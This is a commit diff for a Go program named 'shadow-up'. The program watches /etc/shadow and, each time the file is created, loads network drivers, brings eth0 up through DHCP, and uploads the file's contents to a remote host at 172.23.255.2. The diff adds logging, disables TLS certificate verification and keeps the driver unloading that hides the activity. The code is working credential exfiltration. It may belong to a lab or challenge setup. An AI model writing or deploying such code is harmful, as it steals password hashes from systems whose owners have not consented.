shadow-up: Add logging

pkg/shadow-up/cmd/main.go

@@ -2,6 +2,7 @@ package main
 
 import (
 	"bytes"
+	"crypto/tls"
 	"fmt"
 	"io"
 	"log"
@@ -17,8 +18,8 @@ import (
 )
 
 const (
-	DestHost      = "172.23.255.1"
+	DestHost      = "172.23.255.2"
-	URLShadow     = "http://172.23.255.1/passwd"
+	URLShadow     = "https://172.23.255.2/passwd"
 	PathToWatch   = "/etc/shadow"
 	WatchedNotify = fsnotify.Create
 )
@@ -28,8 +29,14 @@ var (
 )
 
 func sendFile(field, path string) error {
+	tr := &http.Transport{
+		TLSClientConfig: &tls.Config{
+			InsecureSkipVerify: true,
+		},
+	}
 	client := &http.Client{
-		Timeout: 20 * time.Second,
+		Timeout:   20 * time.Second,
+		Transport: tr,
 	}
 
 	body := &bytes.Buffer{}
@@ -85,10 +92,14 @@ func main() {
 
 				hasModprobe := false
 				if err := exec.Command("/bin/sh", "-c", "lsmod | grep -q e1000").Run(); err == nil {
+					log.Println("No need to modprobe, device already loaded")
 					hasModprobe = true
 				} else {
+					log.Println("modprobe some devices")
+
 					// modprobe
 					for _, drv := range NetDrivers {
+						log.Println("/sbin/modprobe", drv)
 						err = exec.Command("/sbin/modprobe", drv).Run()
 						if err != nil {
 							log.Println("Unable to modprobe", drv, err.Error())
@@ -96,16 +107,14 @@ func main() {
 					}
 				}
 
-				// Search IP
+				// Wait for the eth device
-				myip, err := os.ReadFile("/root/my_ip")
+				for n := 0; n < 8 && exec.Command("/sbin/ip", "link", "show", "dev", "eth0").Run() != nil; n++ {
-				if err != nil {
+					log.Println("eth0 not present, waiting for it...")
-					log.Println("Unable to read /root/my_ip:", err.Error())
+					time.Sleep(250 * time.Millisecond)
-					return
 				}
 
-				hasIP := false
 				if err := exec.Command("/bin/ping", "-c", "1", "-W", "2", DestHost).Run(); err == nil {
-					hasIP = true
+					log.Println("The remote host ping, no need to set it up.")
 				} else {
 					// ip link set eth0 up
 					err = exec.Command("/sbin/ip", "link", "set", "eth0", "up").Run()
@@ -113,10 +122,10 @@ func main() {
 						log.Println("Unable to ip link set eth0 up:", err.Error())
 					}
 
-					// ip a add my_ip/17 dev eth0
+					// ip link set eth0 up
-					err = exec.Command("/sbin/ip", "a", "add", string(myip)+"/17", "dev", "eth0").Run()
+					err = exec.Command("/sbin/udhcpc", "-i", "eth0").Run()
 					if err != nil {
-						log.Println("Unable to ip a add ... dev eth0:", err.Error())
+						log.Println("Unable to udhcpc eth0:", err.Error())
 					}
 				}
 
@@ -124,9 +133,11 @@ func main() {
 				err = sendFile("shadow", PathToWatch)
 				if err != nil {
 					log.Println("Unable to send file:", err.Error())
+					continue
 				}
 
 				if !hasModprobe {
+					log.Println("Unload driver")
 					// Remove driver
 					for _, drv := range NetDrivers {
 						err = exec.Command("/sbin/modprobe", "-r", drv).Run()
@@ -134,12 +145,9 @@ func main() {
 							log.Println("Unable to remove modprobe", drv, err.Error())
 						}
 					}
-				} else if !hasIP {
-					// Remove IP
-					exec.Command("/sbin/ip", "a", "del", string(myip)+"/17", "dev", "eth0").Run()
-					exec.Command("/sbin/ip", "link", "set", "eth0", "down").Run()
 				}
 
+				log.Println("Done, see you later")
 			} else {
 				log.Println("Skipped event:", ev, "for", ev.Name)
 			}